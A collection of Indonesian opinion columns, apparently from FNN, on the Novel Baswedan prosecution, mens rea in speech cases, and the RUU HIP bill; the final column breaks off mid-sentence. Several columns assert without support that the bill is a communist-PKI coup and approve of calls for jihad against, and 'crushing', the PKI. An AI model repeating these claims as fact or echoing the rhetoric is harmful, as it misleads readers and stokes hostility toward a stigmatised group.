Oleh Hersubeno Arief Jakarta, FNN - Korps Kejaksaan punya bintang baru. Namanya Robertino Fedrik Adhar Syaripudin dari Kejaksaan Negeri Jakarta Utara. Sepanjang pekan kemarin namanya paling banyak diperbincangkan. Di media massa, berita seputar Fedrik Adhar paling menyedot perhatian. Media berusaha mengulik habis profilnya. Mulai dari latar belakang sekolahnya, pangkatnya, keluarganya, sampai kekayaan pribadinya. Di media sosial lebih heboh lagi. Namanya menjadi trending topik.Foto-fotonya tampil dengan barang-barang branded banyak tersebar. Kebetulan Pak Jaksa yang satu ini cukup eksis di medsos. Jadi sangat mudah bagi netizen untuk menguliknya. Cukup ketik kata kunci Jaksa Fedrik Adhar, maka info seputar jaksa muda berusia 37 tahun itu muncul bertebaran. Saking populernya, dalam tiga hari terakhir pada mesin pencari Google, namanya bahkan mengalahkan Jaksa Agung. Fedrik jauh lebih populer dan paling banyak dicari. Namanya layak masuk dalam Man of The Week. Sebuah torehan “prestasi” yang cukup membanggakan untuk seorang jaksa berpangkat pratama. Kalau di Polri pangkatnya selevel Ajun Komisaris Polisi, atau Kapten di lingkungan TNI. Masuk kelompok perwira pertama. Jaksa tidak mandiri Nama Fedrik mencuat menyusul kontroversi tuntutan jaksa atas dua orang penyerang penyidik Komisi Pemberantasan Korupsi (KPK) Novel Baswedan. Fedrik menjadi salah satu Jaksa Penuntut Umum (JPU) bersama Ahmad Patoni dan Satria Irawan. Kamis (11/6) JPU dari Kejaksaan Negeri Jakarta Utara itu menuntut mereka 1 tahun penjara. Publik dan praktisi hukum menilai tuntutan itu tidak masuk akal. Dibandingkan dengan kasus serupa, berupa penyiraman air keras, tuntutan itu paling rendah. Padahal kasus ini selain menyita perhatian publik, bobotnya juga jauh lebih berat. Novel adalah penyidik KPK yang banyak menangani kasus-kasus korupsi kelas berat. Melibatkan sejumlah petinggi negara dan petinggi penegak hukum. Kasus ini menjadi kontroversi dan mengundang perhatian. Tidak hanya di dalam negeri, tapi sampai ke manca negara. Beberapa media Internasional juga menyoroti kasus ini. Komnas HAM dan Amensty Internasional juga mempersoalkan. Salah satu alasan jaksa menuntut ringan adalah faktor “tidak sengaja,” menjadi olok-olok di dunia maya. Bintang Emon seorang komedian muda mendadak viral karena aksinya menyoroti rendahnya tuntutan itu. Tagar #tidaksengaja menjadi trending dan banyak dicuitkan oleh para pesohor di medsos. “Konyolnya luar biasa. Saya sampai bingung harus marah atau ketawa ya, “ kata Novel kepada media. Reaksi publik yang muncul menunjukkan kemarahan sekaligus sikap frustrasi terhadap proses penegakan hukum di negeri ini. Mereka tambah kesal ketika mendapati para aparat penegak hukum rendahan, sekelas Fedrik gaya hidupnya sangat woowwww. Di luar batas kewajaran. Sebagai ASN dengan golongan IIIC, harta kekayaan yang dimilikinya juga membuat tercengang. Dari Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) pada tahun 2018 diketahui hartanya sebesar Rp 5.8 miliar. Kendaraan yang dimiliki cukup banyak. Salah satunya sedan kelas atas merek Lexus. Peneliti Indonesian Corruption Watch Kurnia Ramadhana minta agar Fedrik menjelaskan asal usul harta kekayaannya kepada publik. Sebab tak sesuai dengan masa kerja dan gajinya sebagai ASN. Jadilah Fedrik sasaran kemarahan dan bullying orang sak-Indonesia. Barangkali banyak yang lupa atau bahkan tidak tahu, bahwa seorang jaksa tidak mandiri dalam mengajukan tuntutan. Tidak bisa semaunya sendiri. Ada sebuah prosedur di Kejaksaan yang disebut dengan rencana penuntutan (rentut). Sebelum menyampaikan tuntutan, JPU menyampaikan rentut secara berjenjang ke atasannya. Untuk kasus-kasus yang menarik perhatian publik, rentutnya sampai ke meja Jaksa Agung. Kasus sekelas Novel Baswedan yang sudah bertahun-tahun menyita perhatian publik domestik maupun internasional, rasanya tidak mungkin diserahkan begitu saja tuntutannya kepada Fedrik Dkk. Atasan Fedrik mulai dari Kepala Kejari Jakut sampai Jaksa Agung patut diduga mendapat rentutnya. Mereka bisa mengubah, menambah, bahkan mengurangi sebuah tuntutan. Jaksa Agung Abdurahman Saleh (2004-2007) pernah mengubah rentut dari hukuman mati menjadi bebas. Seorang ibu di Bandung bernama Aniq Qoriah dituntut hukuman mati karena membunuh tiga orang anaknya. Arman —begitu dia biasa dipanggil— curiga ada gangguan kejiwaan pada Aniq. Dengan begitu dia tidak bisa dituntut pidana. Instink Arman benar. Di persidangan dokter membuktikan Aniq mengalami gangguan jiwa. Pada 15 Januari 2007 Pengadilan Negeri Bandung membebaskannya. Bisa disimpulkan Fedrik Adhar Dkk hanya menjalankan tugas. Namun mereka bisa menjadi pintu masuk bagi publik untuk memahami wajah aparat penegak hukum dan proses penegakan hukum di negeri kita. Fedrik adalah perca kecil yang bila kita susun, akan menjadi sebuah mozaik besar. Setelah itu Anda bisa mengambil kesimpulan sendiri. So…Mau jengkel, marah, kasihan, iba, atau malah iri dengan Jaksa Fedrik? Selamat datang di negeri #tidaksengajahhhh. End Penulis Wartawan Senior

Novel, Didu dan Ruslan Menanti Keagungan Hukum

by Dr. Margarito Kamis SH. M.Hum Kepala desa atau kepala rakyat wajib menyelenggarakan keinsafan keadilan rakyat. Harus senantiasa memberi bentuk (Gestaltung) kepada rasa keadilan dan cita-cita rakyat. Oleh karena itu kepala rakyat “memegang adat” (kata pepatah Minangkabau) senantiasa memperhatikan segala gerak-gerik dalam masyarakatnya, dan untuk maksud itu, senantiasa bermusyawarah dengan rakyat atau dengan kepala-kepala keluarga dalam desanya, agar supaya pertalian bathin antara pemimpin dan rakyat seluruhnya senantiasa terpelihara (Pidato Soepomo di depan BPUPKI tanggal 31 Mei 1945). Jakarta FNN – Senin (15/06). Novel Baswedan, Muhammad Said Didu dan Ruslan Buton, menemukan nasib yang ralatif sama. Novel yang satu matanya cacat permanen karena disiram air keras, harus berjuang lama untuk memperoleh keadilan. Said Didu dan Ruslan Buton di sisi lain, cepat sekali lagi diurus Kepolisian. Didu dilaporkan oleh kuasa hukum Menko Maritim dan Investasi pada kabinet Presiden Joko Widodo. Pak Menko tersinggung oleh sepenggal kalimat Said Didu. Kalau Novel butuh waktu puluhan bulan hingga perkaranya disidangkan. Said Didu tidak. Cepat sekali laporan untuk dirinya diurus sama Polisi. Ruslan Buton, purnawirawan Tentara, disisi lain, juga mirip Didu. Ruslan Buton yang pernah bertugas di Kampung Halaman Saya, di Ternate, segera ditangkap Polisi di rumahnya. Ini terjadi tak lama setelah Polisi menerima laporan atas tindakannya. Perkaranya juga sepele, sesepele perkara Said Didu. Ruslan Buton membuat pernyataan agar Jokowi mundur dari jabatannya sebagai presiden. Kalau tidak salah, Ruslan menyatakan kalau tak mundur, bukan tak mungkin rakyat akan melawan melalui revolusi rakyat. Pernyataan ini disiarkan melalui media social, kabarnya begitu. Hanya itu. Tak lebih. Mens Rea Dimulai Dari KPK Para terdakwa pada kasus Novel Baswedan telah disidangkan. Dalam sidang itu, mereka telah dituntut oleh Jaksa Penuntut. Mereka dituntut, kalau tak salah, dengan hukuman penjara satu tahun. Ringan? Jelas ringan. Satu mata rusak permanen, tetapi pelakunya dituntut satu tahun, jelas ini dinilai ringan. Malah boleh dibilang mengada-ada dan badut-badutan. Ada juga yang bilang, “Jaksa jadi pengacara buat terdakwa”. Mengapa Jaksa Penuntut Umum hanya menutut satu tahun untuk terdakwa? Adakah yang meringangkan mereka? Apa hal yang meringankan itu? Kabarnya Jaksa menemukan fakta, tentu dalam persidangan terdakwa “tidak memiliki niat merusak mata Novel”. Disitulah soalnya. Bagaimana Jaksa Penuntut Umum tahu terdakwa tak punya niat merusak mata Novel? Tidakkah niat orang, siapapun, tidak akan bisa diketahui? Mengapa tidak bisa diketahui? Dalam ilmu hukum pidana niat orang itu bersifat subyektif, psichisch element. Ini merupakan tipikal mens rea. Hal subyektif ini tidak bisa diketahui berdasarkan pernyataan atau pengakuan calon tersangka, tersangka atau terdakwa. Tidak bias itu Pak Jaksa. Niat orang, siapapun dia, hanya bisa diketahui dengan cara meneliti, memeriksa secara detail dan cermat, serta seksama rangkaian perbuatan orang itu. Soal esensial di level ini adalah memastikan perbuatan pelaku benar-benar melawan hukum, actus reus. Feit atau perbuatannya harus benar-benar unlawfull atau straafbaar. Tidak boleh lebih Pak Jaksa. Berdasarkan rangkaian perbuatan yang telah diteliti secara seksama dan detail itulah penyidik, penuntut umum, bahkan hakim menyimpulkan, “ada atau tidaknya mens rea”. Tidak di luar itu. Ini berkenaan dengan adagium actus reus nisi mens sit rea. Adagium ini menyaratkan apa yang disebut concurence of a wrongfull act, dan wrongfull intent. Pahami itu baik-baik. Konstruksi atas ada atau tidaknya mens rea, sekali lagi, harus bertolak dari perbuatan nyata, dan obyektif. Berdasarkan rangkaian perbuatan itulah dikonstruksi adanya niat atau perbuatan dilakukan secara sadar atau lalai. Bila perbuatan diniatkan dan direncanakan. Perbuatan perencanaannya panjang, maka perbuatn itu harus diangap dilakukan secara sadar. Disebabkan perbuatan itu dilakukan secara sadar, maka perbuatan dan akibatnya harus dianggap dikehendaki atau dituju oleh pelaku. Tersangka atau terdakwa boleh saja menyangkal dengan segala dalih dan alibinya. Tetapi bila perbuatan obyektif, nyata-nyata menunjukan perbuatan itu direncanakan (ada waktu yang cukup untuk berpikir, termasuk membatalkan perbuatannya), maka perbuatan dan akibatnya harus dianggap diniatkan, dikehendaki. Ada mens rea disitu. Baik actus reus maupun maupun mens rea, sama-sama penting diperiksa pada persidangan di pengadilan. Gunanya mendapatkan pemahaman meyakinkan tentang perbuatan dan sikap bathin pelaku yang sebenarnya. Gabungan ketat dua hal ini menjadi dasar penentu berat-ringannya hukuman. Perlu Obyektiflah Sikap bathin pelaku, menurut Profesor Andi Zainal Abidin Farid, penguji saya di Strata 1 (semoga Allah merahmati beliau) disebut toerekeningsvatbaarheid. Pengertiannya adalah, kemampuan bertanggung jawab atau kemampuan jiwa, misalnya tidak gila. Bila tersangka atau terdakwa tidak gila, maka kepada dia dapat dipertanggungjawabkan kesalahannya atas perbuatan pidana yang dilakukan, toerekenbaarheid. Praktis penentuan ada atau tidaknya mens rea, harus dicari dari perbuatan obyektif. Tidak bisa diluar itu, apapun alasannya. Pada titik itulah dapat dimengerti mengapa dunia hukum menjadi begitu gaduh ketika KPK menyatakan tidak ada mens rea dalam kasus Rumah Sakit Sumber Waras. Bagaimana KPK memperoleh mens rea atau sampai pada kesimpulan itu, jelas sangat logis untuk dipertanyakan. Tetapi apapun itu, secara faktual kasus Sumber Waras itu teleh melayang ke dalam alam, entah apa namanya. Berakhir sudah kasus itu, karena KPK tidak menemukan mens rea. Aneh? Entahlah. Namun begitulah hokum berbicara. Begitulah dunia dengan segala dekorasinya. Para terdakwa dalam kasus Novel telah berkali-kali menjalani pemeriksaan di pengadilan. Fakta tentunya telah berunculan dalam sidang itu. Secara hipotetik dapat dikatakan faktanya tidak tunggal. Rangkaian fakta itulah yang diperiksa, dan dinilai untuk selanjutnya dikonstruksi. Konstruksinya meliputi dua aspek, “actus reus dan mens rea”. Ini telah dilakukan oleh JPU melalui tuntutannya. Harus diakui, apapun alasannya, siapapun yang tak setiap hari, menit ke menit mengikuti sidang itu, tak akan tahu fakta obyektif sidang itu. Itu sebabnya, maka siapapun hanya bisa melakukan konstruksi secara hipotetik. Misalnya, andai terdakwa merencanakan perbuatan itu, maka secara silogistis rusaknya mata Novel beralasan dianggap sebagai hal yang diniatkan atau dikehendaki oleh pelaku. Bagaimana nalarnya? Pertama, secara hipotetik ada rencana. Kedua, alat yang digunakan. Andai fakta hipotetiknya alat yang digunakan adalah air keras, maka dengan penalaran logis dapat dikonstruksi alat itu pasti merusak tubuh orang yang terkena. Kongklusi silogistisnya kerusakan tubuh itu dikehendaki. Tentu saja mens rea. Andai saja hipotesis ini berkorelasi signifikan dengan fakta persidangan, maka tuntutan JPU, logis dipertanyakan. Mata novel itu tidak dapat dikembalikan lagi ke sedia kala. Disitulah letak soalnya tuntutan JPU. Tetapi apapun itu, dan di atas itu semua, mari menantikan dengan seksama penalaran obyektif dan keyakinan hebat hakim bekerja pada kasus Novel ini. Didu dan Ruslan Akibat Keangkuhan Mari menantikan juga bagaimana nalar kasus Said Didu dan Ruslan Buton. Kedua kasus ini meminta kejelasan atas dua hal. Pertama, apa seluruh rangkaian kata-kata Didu, mengandung unsur actus reus dan mens rea? Tidakah subyek yang dituju diketahui memiliki fungsi koordinasi urusan pemerintahan di bidang investasi? Apa itu investasi? Bagaimana merumuskan actus reus ditengah kenyataan subyek yang dituju secara obyektif benar-benar menunaikan kewajiban konstitusional sebagai warga negara? Bukankah bagus setiap menteri menunaikan kewajibannya membantu Presiden? Lalu, apa yang keliru dari kenyataan itu? Terlalu sulit, bahkan mustahil menyatakan keliru. Konsekuensinya sulit, bahkan mustahil menemukan actus reus, apalagi mens rea dalam kasus ini. Sama sulitnya dengan menemukan actus reus dan mens rea dalam kasus Ruslan Buton. Mengapa? Apa kata-katanya dalam media sosial itu telah menghasilkan keadaan gaduh? Bagaimana merumuskan, dalam arti memberi kualifikasi hukum pada kalimat- kalimat Ruslan yang, kabarnya, disebarkan melalui media sosial, sebagai kabar bohong atau berita yang sebagian atau seluruhnya bohong? Hal apakah dalam kenyataan ketatanegaraan saat ini yang dapat dianalogi dengan kenyataan tata negara tahun 1946? UU Nomor 1 Tahun 1946 diundangkan pada tanggal 26 Februari 1946. Kenyataan tata negara pada bulan Februari 1946 itu karena dua sebab. Pertama, sistem pemerintahan Indonesia adalah parlementer. Suttan Sjahrir sebagai Perdana Menteri, dikenal dengan Kabinet Sjahrir I. Kedua, nyata-nyata disebut dalam pasal 17 bahwa UU 1 Tahun 1946 berlaku untuk Jawa dan Madura. Pasal 15 UU ini nyata-nyata mengatur norma “kabar berlebihan” atau “tidak lengkap” dan “menimbulkan keonaran.” Bagaimana mengonstruksi norma “kabar berlebihan” itu? Juga bagaimana mengonstruksi norma menimbulkan “keonaran’? Apakah keonaran sama dengan kegelisahan? Keonaran pasti di dalamnya terdapat kegelisahan, tetapi apakah kegelisahan sama dengan keonaran? Bisakah imbauan disamakan dengan berbohong? Bisakah pendapat orang dikualifikasi sebagai berita atau kabar bohong? Tidakkah terminologi berita menunjuk adanya informasi yang diterima, lalu disebarkan? Taruhlah pendapat Ruslan itu disiarkan, sehingga jadi berita, tetapi dapatkah pendapat yang diberitakan itu berkualifikasi sebagai berita bohong? Pembaca FNN yang budiman. Terlalu sulit, bahkan mustahil mengonstruksi pendapat seseorang yang disiarkan sekalipun, melalui semua alat penyiaran yang tersedia, dikualifikasi sebagai berita. Lebih sulit lagi bila hendak dikonstruksi sebagai berita bohong. Kegelisahan, sebut saja, secara obyektif ada. Soalnya adalah apakah kegelisahan itu dapat dikualifikasi sebagai bahaya nyata? Apakah dengan pendapat itu, kedudukan presiden berada dalam bayaya nyata didepan mata? Sembari memberi hormat yang wajar pada usaha penegakan hukum, secara obyektif sulit menemukan actus reus dan mens rea dalam dua kasus terakhir ini. Sulit betul untuk bisa menjadikan Said Didu tersangka. Sulit juga, bahkan mustahil mengualifikasi tindakan Ruslan Buton sebagai kejahatan. Obyektifitas, yang merupakan anak kandung kejujuran, lawan tangguhnya keangkuhan penguasa, jelas dinantikan pada semua kasus ini. Kejujuran seutuhnya dalam menegakan hukum harus jadi panduan utama. Levelnya harus setara kejujuran setiap orang kelak berada dan berdiri dipengadilan akhir, di hadapan Allaah SWT Yang Maha Tahu. Insya Allaah. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Bila Paksakan RUU HIP, "PDIP Bisa Dibubarkan"

by M. Rizal Fadillah Jakarta FNN – Senin (15/06). Gara gara mencoba bermain di tataran ideologi, Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) ditolak masyarakat. RUU yang oleh masyarakat dipandang kental berbau komunis. Makanya PDIP menjadi sorotan sebagai penyebab utama lahirnya RUU HIP tersebut. Disamping itu, rakyat, khususnya umat Islam yang mereaksi paling keras. Reaksi sebagai bentuk penolakan terhadap RUU ini. Dampaknya, Pemerintah melalui Menkopolhukam mulai bersikap kritis pada PKI dan Komunisme. Demikian juga dengan Trisila dan Ekasila yang menjadi muatan utama RUU HIP. Entah ini blunder PDIP atau karena terciumnya permainan halus "oknum dalam" yang memanfaatkan kekuatan koalisi mayoritas di Parlemen. Namun apapun itu, nyatanya penetapan RUU tersebut telah menimbulkan kegaduhan politik nasional. Masyarakat menyatakan penolakan di seluruh Indonesia. Semantara itu, di parlemen sendiri, fraksi-fraksi yang asalnya telah sepakat menyetujui RUU bisa-bisa "balik badan". Apalagi setelah melihat gelombang penolakan yang semakin membesar. Parpol harus berhitung dengan cermat. Citra sebagai pendukung "PKI" atau "Komunisme" dipastikan sangat merugikan, dan berbahaya bagi parpol. Mahfud MD, sang Menko sudah mulai teriak soal sinyal sikap Pemerintah yang akan berupaya agar Tap MPRS No. XXV tahun 1966 masuk sebagai konsideran RUU. Begitu juga konon soal Pancasila, Trisila, dan Ekasila akan dimasalahkan bahkan ditolak. Artinya, akan ada revisi dari tim Pemerintah. Teriakan Mahfud menunjukkan perubahan konstelasi. Apakah itu suara pribadi Mahfud yang mengerti Hukum Tata Negara atau representasi Pemerintah? Masih terlalu samar. Bapak Jokowi sendiri seperti biasa tetap diam. Sunyi senyap. Mungkin bila didesak, Pak Jokowi jawabnya "jangan tanya saya, itu urusannya menteri". Jika serius pemerintah menolak, maka masalah beratnya ada pada PDIP. Apakah PDIP bisa "legowo" untuk mengalah pada suara rakyat yang gencar menolak? Ataukah sebaliknya "marah" pada Pemerintah yang tidak membela atau seakan membelot setelah ditekan masyarakat, khususnya umat Islam? Politik adalah kumpulan kemungkinan dari kepentingan. Bila responnya adalah marah, maka bukan mustahil isu "haram" pemakzulan bisa menjadi "halal" kembali. Bisa saja sejalan dengan suara dunia akademik maupun masyatakat yang bersikap kritis terhadap pemerintahan Jokowi. Kuatnya gelombang penolakan terhadap RUU HIP sangat berpengaruh pada orkestra Pemerintah dan PDIP. Suara Pemerintah mungkin seperti apa yang telah disuarakan Mahfud MD. Sementara suara PDIP mulai goyah atas pendiriannya. Partai-partai di parlemen juga berfikir ulang. Apalagi jika harus bertabrakan dengan aspirasi rakyat. Ini menyangkut suara masa depan. Jika jalan yang diambil adalah Tap MPRS XXV/MPRS/1966 dengan "terpaksa" harus dicantumkan pada Konsideran RUU. Lalu klausul Pancasila, Trisila, dan Ekasila juga dihapus, maka gagallah misi PDIP dan para konseptor "kiri" yang bermain dibalik RUU HIP tersbut. Rakyat Indonesia melihat hal ini sebagai percobaan kudeta ideologis. Kudeta yang akan gagal akibat kuatnya penolakan rakyat, terutama umat Islam. Parlemen sendiri awalnya telah berhasil dilumpuhkan. Kesepakatan telah dicapai Badan Legislasi (Baleg) untuk RUU HIP dimasukan ke dalam Prolegnas prioritas. Tetapi masalah tetap saja ada. Pertama, posisi agama. Apakah akan dikembalikan menjadi penting atau tidak. Masihkah disejajarkan dengan kebudayaan ? Kedua, keberadaan HIP dalam sebuah UU bukan sebagai Tap MPR. Apakah tepat atau tidak ? Jika ini belum terklarifikasi, maka RUU HIP kelak masih saja menjadi masalah kerakyatan dan keumatan. Perlu diketahui bahwa semangat dan aspirasi dari masyarakat adalah penolakan. Bukan revisi terhadap materi RUU. Karena bangsa Indonesia, khususnya umat Islam tidak sedang membutuhkan adanya RUU HIP. Ingat dan catat maunya rakyat itu baik-baik. Pemerintah dan DPR jangan sampai abai terhadap aspirasi yang muncul dari rakyat secara massif. Apabila Perimentah dan DPR tetap memaksakan kehendak menetapkan RUU HIP menjadi UU, maka bukan tidak mungkin isu politik rakyat akan bergeser dan mengarah pada pembubaran PDIP dan pemakzulan terhadap Presiden. Artinya dapat terjadi kegaduhan politik yang lebih serius. PDIP harus berfikir matang dan sehat. Mengalah adalah pilihan yang paling rasional. Jika tidak, pasti akan babak belur. New normal prakteknya menjadi new tidak normal atau "crash landing". Politik yang semakin karut-marut. PKI dan Komunisme masih terus menjadi gelindingan bola salju. RUU HIP hanya usaha kudeta ideologi oleh kader komunis-PKI yang mungkin saja gagal. Masih ada kasus TKA China dan hubungan dengan RRC yang belum terantisipasi. Penulis adalah Pemerhati Politik dan Kebangsaan.

MUI Tabuh Genderang Jihad Melawan RUU HIP

by Tony Rosyid Jakarta FNN – Ahad (14/05). PKI itu biadab. Begitulah bangsa ini bersepakat. Hanya sekelompok kecil orang yang masih melihat PKI tidak bersalah. Tetapi, begitu banyak data sejarah yang sulit untuk dibantah. Kelompok kecil ini sedang berupaya untuk bangkit dan menghidupkan kembali PKI. Masuk partai, menjadi anggota DPR, dan mendekat di lingkaran kekuasaan adalah jalur yang efektif untuk ditempuh. Militan, tentu saja. Namanya juga kelompok kecil. Dimanapun mereka, kelompok kecil biasanya selalu militan. Karena mudah koordinasinya. Ciri kelokpok kecil yang lain adalah, selalu memaksakan kehendak kepada kelompok besar yang mayoritas. Secara teoritis, PKI memang tidak bisa hidup di negara Pancasila. PKI anti Tuhan, sementara Pancasila pro Tuhan. Meski faktanya, ada sejumlah orang yang terlihat beragama. Termasuk yang Islam, yang bergabung ke partai komunis. Ini kasuistik. Kok bisa? Kader PKI bantu petani untuk mengambil kembali sawahnya. Berhasil, si petani masuk PKI. Kasus ini pernah diteliti pembimbing disertasi saya Prof Dr. Bambang Pranowo (Allahu yarham) di penjara suka miskin. Seorang muslim rajin shalat, tapi dipenjara karena pernah terlibat dalam pemberontakan PKI. Sekali lagi, ini kasuistik. Tak bisa digeneralisir. PKI bukan hanya partai, tetapi ideologi. PKI akan terus hidup, dan tetap menjadi pemberontak di tengah hegemoni kapatalis. Komunisme sejak awal kelahirannya, memang didesign untuk menjadi oposisi terhadap kapitalisme. Agama menjadi ikut dimusuhi komunisme karena dianggap berselingkuh dengan kapitalisme. Maka, komunisme itu anti Tuhan. Padahal, keberadaan Tuhan menjadi pilar terpenting dalam Pancasila. Berarti, PKI anti Pancasila. Titik. Mau rubah Pancasila jadi Trisila dan Ekasila? Indonesia bisa bubar, kata sekjen MUI, Anwar Abbas. Dosen ekonomi ini mengecam RUU Haluan Ideologi Pancasila (HIP). Tidak hanya sekjen MUI, tetapi banyak ormas termasuk Muhammadiyah dan Ansor yang menolak RUU HIP. Satu persatu pesantren di berbagai wilayah sudah deklarasi diri, “menolak RUU HIP”. Lalu, bagaimana dengan gagasan NASAKOM? Utopis. Baik dalam tataran teoritis maupun praktis. Sejajar dengan utopisnya teori komunisme yang digagas oleh Marx di awal kelahirannya. Komunisme sama bahayanya dengan kapitalisme. Komunisme perlu diwaspadai. Jika diabaikan, PKI akan mengambil ruang makin besar. Pemberontakan 1948 dan 1965 akan terulang. Ingat. Transformasi politik dalam teori komunisme itu revolusi. Nah, revolusi hanya bias terjadi melalui proses pemberontakan. Pertumpahan darah. Itu pasti! Karena itu, MUI Pusat membuat maklumat. Menyerukan jihad melawan PKI yang diduga akan dibangkitkan melalui RUU HIP. Seluruh MUI propinsi mendukung maklumat itu. Begitu pula dengan berbagai ormas Islam. Pesantren beserta komunitas umat Islam telah menyatakan sikap yang sama dengan MUI. Melalui RUU HIP, peluang PKI reborn dianggap sangat terbuka. Sebab, sila pertama yaitu Ketuhanan Yang Maha Esa mau dikesampingkan dan didominasi narasinya dengan "Gotong Royong". Rupanya punya rencana besar mau usir Tuhan dari negeri ini? Teriakan sejumlah ulama. Tokoh-tokoh bangsa dan sejumlah Jenderal (purn) TNI Angkatan Darat gerang dan angkat bicara. Mereka terus konsisten menyoal RUU HIP. Suara keras para Jenderal pensiunan Angkatan Darat disambut oleh maklumat MUI. Meledak jadinya! Deklarasi tolak RUU HIP pun bergema di sejagat Indonesia. Jember bergolak. Solo bergolak. Demo digelar dimana-mana. Purnawiran TNI-Polri gruduk ke kantor Menkopolhukam. Hanya satu tuntutan, “Tolak RUU HIP”. Titik. Ingat yaa tolak. Bukan revisi. Muhammadiyah pun membentuk Tim Khusus. Tugasnya? Melakukan pendalaman terhadap materi RUU HIP. Apakah juga akan mendalami para oknum yang berada dibalik RUU HIP? Yaitu orang-orang yang menyusun draft dan menghalangi TAP MPRS/XXV/1966 masuk RUU HIP? Usut mereka. Begitu kata MUI. Tidak hanya MUI, usaha menyingkirkan Tap MPRS No 25 Tahun 1966 dari RUU HIP juga membuat mayoritas Umat Islam semakin curiga. Kalau bukan untuk tujuan membangkitkan PKI, lalu untuk apa? Begitulah kira-kira pertanyaannya. RUU HIP yang membuang TAP MPRS/XXV/1966 seolah mengingatkan kembali Umat Islam terhadap peristiwa beberapa tahun lalu. Saat Presiden Jokowi di awal pemerintahannya. Ketika itu, ada desakan sejumlah pihak yang meminta kepada presiden Jokowi untuk minta maaf kepada PKI. Enak benar maunya. Teringat pula seorang anak PKI yang bilang. "Aku Bangga Jadi Anak PKI". Juga peristiwa ketika Taufiq Ismail, Sang Penyair yang diteriakin dan diminta turun saat membaca puisi tentang sejarah kebiadaban PKI. Selain itu, juga tersebarnya atribut PKI terang-terangan di berbagai tempat. Apakah itu satu kesatuan? PKI sudah mati, kata segelintir orang. Yang mati itu partainya, bukan ideologinya. Ideologi komunisme yang diberi ruang dan kesempatan, sangat berpotensi untuk memberi nafas baru buat PKI hidup kembali. Wajar saja jika MUI, Ormas Islam dan komunitas umat Islam di berbagai wilayah seberang siap ganyang PKI, jika dibangkitkan kembali. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Bangsa Ini Bukan Hanya Keringat Seorang Soekarno

by Furqan Jurdi Jakarta FNN – Ahad (14/06). Membaca RAncangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) lengkap dengan Naskah Akademisnya membuat saya merasa geram. Sangat jelas dan terang maksud dan tujuan dibalik RUU itu. Ada pembajakan sejarah dan penyelundupan ideologi yang berbahaya. Pancasila menurut RUU itu adalah Pidato Soekarno 1 Juni 1945 yang diucapkan di depan Sidang Badan Penyelidik Usaha Persiapan Kemerdekaan (BPUPK). Artinya Pancasila dianggap pikiran seorang Soekarno saja. Begitu memalukan bangsa ini. Betapa jasa besar dan pengorbanan tokoh-tokoh lain disingkirkan demi ambisi dan nafsu kekuasaan. Soekarno bukanlah satu-satunya orang yang mengajukan dasar negara. Mau dikemanakan itu pidato Profesor Soepomo, Muhammad Yamin dan dan lain-lain yang dianggap mewakili golongan “nasionalis sekuler”? Ada juga pidato tokoh-tokoh Islam seperti Ki Bagus Hadikusumo, Sukiman Wirdjosanjojo, Haji Agus Salim. Apakah tokoh-tokoh lain yang mewakili golongan “nasionalis Islam” dan “nasionalis sekuler” itu tidak berpidato? Kita sedang kembali membuka kran polemik ideologi. Kita terpaksa kembali lagi ke masa lalu. Ini pilihan jalan yang mundur ke belakang. Sebaiknya jangan lagi mengusik-usik pengorbanan umat Islam dan kesepakatan penting sejarah. Berupa dicoret begitu saja tujuh kata pada tanggal 18 Agustus 1945. Umat Islam telah mengorbankan Piagam Jakarta demi persatuan dan keutuhan bangsa. Kenapa harus diusik lagi? Padahal bangsa ini bukan berdiri karena Jerih payah satu orang saja Soekarno saja. Ini jerih payah dan perjuangan seluruh komponen bangsa. Yang paling besar berkorban adalah umat Islam. Pancasila tidak dirumuskan oleh satu kepala manusia Soekarno saja. Pancasila adalah hasil kompromi , kerelaan dan pengorbanan umat Islam. Catat itu baik-baik. Jangan lupakan kerelaan dan pengorbanan umat Islam itu. Soekarno ketika mengeluarkan Dekrit 5 Juli 1959, tidak lupa mencantumkan piagam Jakarta yang menjiwai Pancasila dan UUD 1945. Artinya, ketuhanan dengan Kewajiban Menjalankan Syariat Islam bagi Pemeluk-Pemeluknya adalah kata yang menjiwai konstitusi. Juga menjiwai kehidupan rakyat Indonesia yang mayoritas adalah umat Islam. Jadi, Pancasila bukan milik satu golongan. Bukan sebatas pidato satu orang Soekarno saja. Melainkan merupakan titik temu atas semua nilai-nilai yang hidup dalam masyarakat. Karena itu Pancasila disebut sebagai Filosofiche Groundslaag, atau Staat Fundamental Norm. Kita semua bersepakat Pancasila sudah final. Muhammadiyah telah menetapkan hati menjadikan Pancasila sebagai Darul Ahdi Wa Syahadah. “Darul ahdi” artinya, negara tempat melakukan konsensus nasional. Nusantara yang terdiri dari kemajemukan bangsa, golongan, dan daerah. Kekuatan politik sepakat untuk mendirikan Indonesia. Sementara “darul syahadah” artinya, negara tempat masyarakatnya mengisi kemerdekaan dengan berbagai aktivitas. Berbagai kegiatan yang bermanfaat bagi seluruh elemen bangsa. Harapannya, terwujud negara yang maju, makmur, adil dan bermartabat. Umat Islam telah menetapkan hatinya untuk menjadikan Pancasila sebagai falsafah dasar berbangsa dan bernegara. Bukan sekedar ideologi yang kaku. Melainkan sebuah nilai universal yang hidup dalam masyarakat Indonesia. Catat penetapan hati umat Islam itu baik-baik. Ketika umat Islam sedang berjuang mewujudkan Pancasila dalam kata dan perbuatan, muncullah RUU HIP. Sebuah RUU, yang kalau meminjam Istilah Doktor Yudi Latif “Ngawur Semua” isinya. Definis terhadap Pancasila sangat buruk. Penuh dengan penyelundupan kepentingan kelompok-kelompok tertentu. Itu terbukti dengan tidak dimasukkannya dalam Konsiderans RUU tersebut Ketetapan MPRS Nomor XXVI/MPRS/1966 tentang Larangan PKI dan Mengembangkan Ajaran Leninisme, Marxisme dan Komunisme di Indonesia. Norma yang diatur dalam RUU itu menghilangkan prinsip yang paling mendasar dari Pancasila. Menghilangkan Ketuhanan Yang Maha Esa, Kemanusiaan Yang Adil dan Beradab, Persatuan Indonesia dan Kerakyatan Yang Dimpimpin Oleh Hikmat Kebijaksanaan dalam Permusyawaran Perwakilan serta Keadilan Sosial Bagi seluruh rakyat Indonesia. Semua sila dalam Pancasila itu mau diperas menjadi Trisila. Lalu Eka Sila atau Gotong Royong, seperti pidato Soekarno 1 Juni 1945. Ini sih namanya “ngawur semua”. Gagasan yang bias juga disebut sangat “dungo, dongo , 